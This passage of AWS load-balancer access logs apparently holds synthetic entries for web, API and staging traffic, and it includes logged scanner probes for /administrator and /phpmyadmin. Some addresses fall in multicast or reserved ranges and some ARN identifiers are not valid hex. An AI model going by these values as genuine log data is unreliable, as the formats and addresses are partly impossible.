"10.0.202.132:443" "404" "-" "-" -https 2024-11-01T00:33:27.334592Z prod-web-alb 195.211.170.177:14398 10.0.89.213:443 0.034422 0.467924 0.081849 302 302 924 13433 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf67-6d439284ca6f427fb4e68d4b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:33:27.334592Z "forward" "-" "-" "10.0.89.213:443" "302" "-" "-" -https 2024-11-01T00:33:28.779036Z prod-web-alb 213.20.67.235:13755 10.0.163.202:443 0.010877 0.440835 0.057623 200 200 353 10041 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf68-32d15cab314941c5bd2b9690" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:28.779036Z "forward" "-" "-" "10.0.163.202:443" "200" "-" "-" -https 2024-11-01T00:33:30.522916Z prod-api-alb 44.132.83.93:19747 10.0.11.68:443 0.049470 0.367313 0.088506 200 200 32 4292 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf6a-a1621b6243b8464da2f0692b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:33:30.522916Z "forward" "-" "-" "10.0.11.68:443" "200" "-" "-" -https 2024-11-01T00:33:32.473230Z prod-web-alb 78.230.38.229:59936 10.0.193.77:443 0.014612 0.164240 0.005364 200 200 807 9738 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf6c-91cbdee7c244474184234173" "prod-web-alb.example.com" "-" 3 2024-11-01T00:33:32.473230Z "forward" "-" "-" "10.0.193.77:443" "200" "-" "-" -https 2024-11-01T00:33:32.643564Z prod-api-alb 133.99.13.11:42846 10.0.242.92:443 0.033088 0.316396 0.023199 301 301 324 8678 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf6c-dbe53a8376ae4b7ca0884a21" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:32.643564Z "forward" "-" "-" "10.0.242.92:443" "301" "-" "-" -https 2024-11-01T00:33:34.258807Z prod-web-alb 237.112.58.86:53065 10.0.70.79:443 0.023949 0.145549 0.054335 200 200 618 12183 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf6e-958f6fbf18dc4553b97ab29e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:33:34.258807Z "forward" "-" "-" "10.0.70.79:443" "200" "-" "-" -https 2024-11-01T00:33:35.575108Z prod-web-alb 24.89.121.127:46784 10.0.3.74:443 0.097137 0.430700 0.056217 200 200 154 10036 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf6f-1c006048632f405ebb9ccf5f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:35.575108Z "forward" "-" "-" "10.0.3.74:443" "200" "-" "-" -https 2024-11-01T00:33:37.045125Z prod-web-alb 186.174.29.174:33536 10.0.122.237:443 0.062326 0.101340 0.028174 200 200 19 11592 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf71-3092d950942e49919d1e0ea9" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:37.045125Z "forward" "-" "-" "10.0.122.237:443" "200" "-" "-" -http 2024-11-01T00:33:37.711743Z staging-alb 230.7.83.37:23550 46.47.131.108:443 0.080049 0.179003 0.049965 200 200 192 3673 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf71-1bb52359005a47f698c756b7" "staging-alb.example.com" "-" 1 2024-11-01T00:33:37.711743Z "forward" "-" "-" "46.47.131.108:443" "200" "-" "-" -https 2024-11-01T00:33:39.143243Z prod-web-alb 164.247.196.10:48733 10.0.135.253:443 0.094939 0.405292 0.047376 301 301 690 14404 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf73-ce1b2aadec0f4661a15a65c8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:39.143243Z "forward" "-" "-" "10.0.135.253:443" "301" "-" "-" -https 2024-11-01T00:33:40.675396Z staging-alb 63.80.131.109:35893 97.154.165.121:80 0.134473 0.656255 0.112886 301 301 707 2102 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf74-a60d765163b248eda021fe15" "staging-alb.example.com" "-" 4 2024-11-01T00:33:40.675396Z "forward" "-" "-" "97.154.165.121:80" "301" "-" "-" -https 2024-11-01T00:33:42.249708Z prod-web-alb 144.47.224.93:10609 10.0.54.253:443 0.044190 0.073069 0.042099 301 301 209 5351 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf76-533a19e6df514795ad541d4d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:42.249708Z "forward" "-" "-" "10.0.54.253:443" "301" "-" "-" -https 2024-11-01T00:33:43.503323Z staging-alb 115.58.51.17:17094 169.39.155.238:443 0.127660 0.331681 0.068323 302 302 680 3492 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf77-8f8414b83c8443408ed5cab9" "staging-alb.example.com" "-" 10 2024-11-01T00:33:43.503323Z "forward" "-" "-" "169.39.155.238:443" "302" "-" "-" -https 2024-11-01T00:33:44.610668Z prod-api-alb 137.122.165.104:15364 10.0.97.41:443 0.020396 0.222908 0.094060 404 404 465 14760 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf78-6683afade5bc4a9986cf78de" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:44.610668Z "forward" "-" "-" "10.0.97.41:443" "404" "-" "-" -https 2024-11-01T00:33:45.957121Z prod-api-alb 58.165.117.168:15860 10.0.136.233:443 0.070717 0.406344 0.013886 200 200 555 1299 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf79-9686928b30514832922a392b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:33:45.957121Z "forward" "-" "-" "10.0.136.233:443" "200" "-" "-" -https 2024-11-01T00:33:47.399339Z prod-api-alb 47.199.152.112:25543 10.0.114.138:443 0.020617 0.193189 0.073819 200 200 601 11362 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf7b-5b09207c3f354366980dfe30" "prod-api-alb.example.com" "-" 4 2024-11-01T00:33:47.399339Z "forward" "-" "-" "10.0.114.138:443" "200" "-" "-" -https 2024-11-01T00:33:47.952014Z staging-alb 156.230.63.155:18415 227.229.49.116:8080 0.145031 0.010557 0.130546 302 302 999 12254 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf7b-96c064e71d0e4338987e875a" "staging-alb.example.com" "-" 9 2024-11-01T00:33:47.952014Z "forward" "-" "-" "227.229.49.116:8080" "302" "-" "-" -https 2024-11-01T00:33:49.726125Z prod-api-alb 251.171.134.162:35237 10.0.92.13:443 0.080377 0.237663 0.062767 302 302 409 14413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf7d-a180a0b5d2044253905d3c67" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:49.726125Z "forward" "-" "-" "10.0.92.13:443" "302" "-" "-" -https 2024-11-01T00:33:51.622180Z prod-web-alb 250.255.98.212:56834 10.0.230.209:443 0.073345 0.009750 0.014635 200 200 695 4879 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf7f-3d9751241fe1428a9cd182b1" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:51.622180Z "forward" "-" "-" "10.0.230.209:443" "200" "-" "-" -https 2024-11-01T00:33:53.365640Z prod-api-alb 144.47.68.108:49047 10.0.126.99:443 0.007516 0.454254 0.025826 200 200 386 11791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf81-96def737d15340eba0ee4adb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:33:53.365640Z "forward" "-" "-" "10.0.126.99:443" "200" "-" "-" -https 2024-11-01T00:33:54.270836Z prod-web-alb 60.197.140.207:13175 10.0.97.116:443 0.087410 0.445050 0.000319 302 302 456 14710 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf82-2089bab7ea374e64b1338769" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:54.270836Z "forward" "-" "-" "10.0.97.116:443" "302" "-" "-" -http 2024-11-01T00:33:54.466022Z staging-alb 79.162.142.58:58254 167.6.68.14:80 0.033400 0.558280 0.116478 200 200 544 8586 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf82-01d990513f5f484796fd33d3" "staging-alb.example.com" "-" 10 2024-11-01T00:33:54.466022Z "forward" "-" "-" "167.6.68.14:80" "200" "-" "-" -https 2024-11-01T00:33:55.041936Z prod-web-alb 146.86.97.49:34597 10.0.82.47:443 0.042907 0.217285 0.023750 200 200 324 13742 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf83-6fe99db2b4d048c986cab0bb" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:55.041936Z "forward" "-" "-" "10.0.82.47:443" "200" "-" "-" -https 2024-11-01T00:33:55.592510Z prod-api-alb 114.3.190.254:51181 10.0.65.161:443 0.051034 0.307445 0.005314 404 404 561 540 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf83-3969fa9e26cd416dab305afd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:33:55.592510Z "forward" "-" "-" "10.0.65.161:443" "404" "-" "-" -http 2024-11-01T00:33:55.714342Z staging-alb 52.233.169.21:16816 226.198.16.241:80 0.130284 0.500680 0.119118 200 200 757 11879 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf83-0c86a4e656f6459ab7e4f298" "staging-alb.example.com" "-" 1 2024-11-01T00:33:55.714342Z "forward" "-" "-" "226.198.16.241:80" "200" "-" "-" -https 2024-11-01T00:33:57.491675Z prod-web-alb 12.140.40.32:40819 10.0.48.140:443 0.055312 0.391779 0.051129 200 200 53 6771 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf85-675037d2493d4142a57483e6" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:57.491675Z "forward" "-" "-" "10.0.48.140:443" "200" "-" "-" -https 2024-11-01T00:33:58.250866Z prod-web-alb 235.191.213.46:51985 10.0.111.65:443 0.042562 0.075456 0.087110 301 301 782 10344 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf86-4ed2eca5c502446bb6653c52" "prod-web-alb.example.com" "-" 8 2024-11-01T00:33:58.250866Z "forward" "-" "-" "10.0.111.65:443" "301" "-" "-" -https 2024-11-01T00:33:58.517799Z prod-web-alb 251.248.189.207:26959 10.0.254.186:443 0.094435 0.191947 0.077066 404 404 923 9674 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf86-7f982432900c4025a365ad24" "prod-web-alb.example.com" "-" 7 2024-11-01T00:33:58.517799Z "forward" "-" "-" "10.0.254.186:443" "404" "-" "-" -https 2024-11-01T00:33:59.773040Z prod-api-alb 103.112.92.19:34472 10.0.29.147:443 0.046642 0.010217 0.077301 200 200 731 11087 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf87-93cf14bafd9542898a198610" "prod-api-alb.example.com" "-" 6 2024-11-01T00:33:59.773040Z "forward" "-" "-" "10.0.29.147:443" "200" "-" "-" -https 2024-11-01T00:34:01.016795Z prod-web-alb 203.202.226.209:11499 10.0.208.59:443 0.083408 0.042112 0.075762 301 301 271 10633 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf89-b1f76b67fa0340678cb05737" "prod-web-alb.example.com" "-" 9 2024-11-01T00:34:01.016795Z "forward" "-" "-" "10.0.208.59:443" "301" "-" "-" -https 2024-11-01T00:34:01.195708Z staging-alb 89.138.18.120:18339 172.10.184.197:443 0.041074 0.070856 0.107332 302 302 386 9593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf89-150909eae34d47d19a452f9e" "staging-alb.example.com" "-" 9 2024-11-01T00:34:01.195708Z "forward" "-" "-" "172.10.184.197:443" "302" "-" "-" -http 2024-11-01T00:34:02.478333Z staging-alb 45.155.205.70:48743 158.39.153.254:80 0.078282 0.507634 0.072194 301 301 832 6648 "GET /administrator HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf8a-325e0fe430a7411ba25e20a9" "-" "-" 10 2024-11-01T00:34:02.478333Z "forward" "-" "-" "158.39.153.254:80" "301" "-" "-" -https 2024-11-01T00:34:03.314871Z prod-web-alb 193.27.228.87:30989 10.0.146.207:443 0.064410 0.414762 0.018237 403 403 974 7332 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf8b-8c20dd5224b14cab8208f96a" "-" "-" 3 2024-11-01T00:34:03.314871Z "forward" "-" "-" "10.0.146.207:443" "403" "-" "-" -https 2024-11-01T00:34:04.149643Z staging-alb 106.189.99.200:24942 75.111.213.54:443 0.096754 0.723418 0.125459 200 200 111 1832 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf8c-165ea3ea8bd14049b217b965" "staging-alb.example.com" "-" 2 2024-11-01T00:34:04.149643Z "forward" "-" "-" "75.111.213.54:443" "200" "-" "-" -https 2024-11-01T00:34:04.908230Z prod-api-alb 138.125.158.236:45488 10.0.31.207:443 0.086604 0.191708 0.025953 404 404 505 9438 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf8c-382518067b164e75b375ae70" "prod-api-alb.example.com" "-" 5 2024-11-01T00:34:04.908230Z "forward" "-" "-" "10.0.31.207:443" "404" "-" "-" -http 2024-11-01T00:34:05.633614Z staging-alb 236.143.52.124:32188 39.118.125.100:80 0.038652 0.095719 0.104206 200 200 991 8654 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf8d-af966d6b7c5840c599c0a32b" "staging-alb.example.com" "-" 8 2024-11-01T00:34:05.633614Z "forward" "-" "-" "39.118.125.100:80" "200" "-" "-" -https 2024-11-01T00:34:06.371575Z prod-web-alb 224.133.82.38:19134 10.0.249.128:443 0.062186 0.177188 0.090566 200 200 316 2299 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf8e-1e60fc9eea8d45f8ba7e46a1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:34:06.371575Z "forward" "-" "-" "10.0.249.128:443" "200" "-" "-" -https 2024-11-01T00:34:06.968051Z prod-api-alb 224.43.79.95:10871 10.0.2.12:443 0.028989 0.358581 0.082682 200 200 805 5648 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf8e-024ee37c70d64507aa5b6569" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:06.968051Z "forward" "-" "-" "10.0.2.12:443" "200" "-" "-" -https 2024-11-01T00:34:08.173818Z prod-api-alb 149.213.228.15:17115 10.0.160.151:443 0.003131 0.395764 0.055822 200 200 298 10193 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf90-cef034e1494e4dccaab281bb" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:08.173818Z "forward" "-" "-" "10.0.160.151:443" "200" "-" "-" -https 2024-11-01T00:34:09.035821Z prod-web-alb 244.182.16.192:33677 10.0.242.51:443 0.013589 0.241159 0.016822 302 302 885 14478 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf91-6f46c21129db4a6da08a8b84" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:09.035821Z "forward" "-" "-" "10.0.242.51:443" "302" "-" "-" -https 2024-11-01T00:34:10.118569Z prod-api-alb 162.167.247.70:31474 10.0.137.78:443 0.092431 0.390032 0.094954 200 200 462 7667 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf92-643c7ce8542743f4850a4969" "-" "-" 0 2024-11-01T00:34:10.118569Z "forward" "-" "-" "10.0.137.78:443" "200" "-" "-" -https 2024-11-01T00:34:10.496293Z prod-api-alb 53.162.194.29:32463 10.0.70.41:443 0.068324 0.145880 0.027158 200 200 551 6175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf92-4ab2825641f14171a080a2be" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:10.496293Z "forward" "-" "-" "10.0.70.41:443" "200" "-" "-" -https 2024-11-01T00:34:10.977484Z prod-api-alb 144.108.142.247:12700 10.0.83.57:443 0.076485 0.008311 0.082095 301 301 528 3905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf92-f8880321d5c14321a33c5f16" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:10.977484Z "forward" "-" "-" "10.0.83.57:443" "301" "-" "-" -https 2024-11-01T00:34:11.896249Z staging-alb 195.134.91.119:37641 74.251.173.177:8080 0.111749 0.212674 0.137400 302 302 826 6536 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf93-42e84bfd4fa24aceb1ab0885" "staging-alb.example.com" "-" 6 2024-11-01T00:34:11.896249Z "forward" "-" "-" "74.251.173.177:8080" "302" "-" "-" -https 2024-11-01T00:34:13.000691Z prod-api-alb 78.235.173.121:54950 10.0.154.164:443 0.055515 0.249267 0.059405 200 200 1 4947 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf95-2b3e8958064e48fbac676a84" "prod-api-alb.example.com" "-" 1 2024-11-01T00:34:13.000691Z "forward" "-" "-" "10.0.154.164:443" "200" "-" "-" -https 2024-11-01T00:34:13.299526Z prod-api-alb 175.58.127.230:64019 10.0.186.153:443 0.077276 0.185068 0.099616 404 404 40 4010 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf95-542c9fdcf3384d4e96ff65df" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:13.299526Z "forward" "-" "-" "10.0.186.153:443" "404" "-" "-" -https 2024-11-01T00:34:14.057402Z prod-api-alb 187.250.74.46:20566 10.0.52.252:443 0.067548 0.031141 0.060157 301 301 432 13468 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf96-520bf5112f244f9aae70c86b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:14.057402Z "forward" "-" "-" "10.0.52.252:443" "301" "-" "-" -http 2024-11-01T00:34:16.021819Z staging-alb 38.216.150.164:12834 62.95.40.27:443 0.049093 0.656962 0.131548 200 200 408 8601 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf98-fc7f25c0a9114839bd532705" "staging-alb.example.com" "-" 4 2024-11-01T00:34:16.021819Z "forward" "-" "-" "62.95.40.27:443" "200" "-" "-" -https 2024-11-01T00:34:16.875878Z prod-api-alb 126.236.158.195:11084 10.0.167.107:443 0.024973 0.485755 0.007450 200 200 145 5717 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 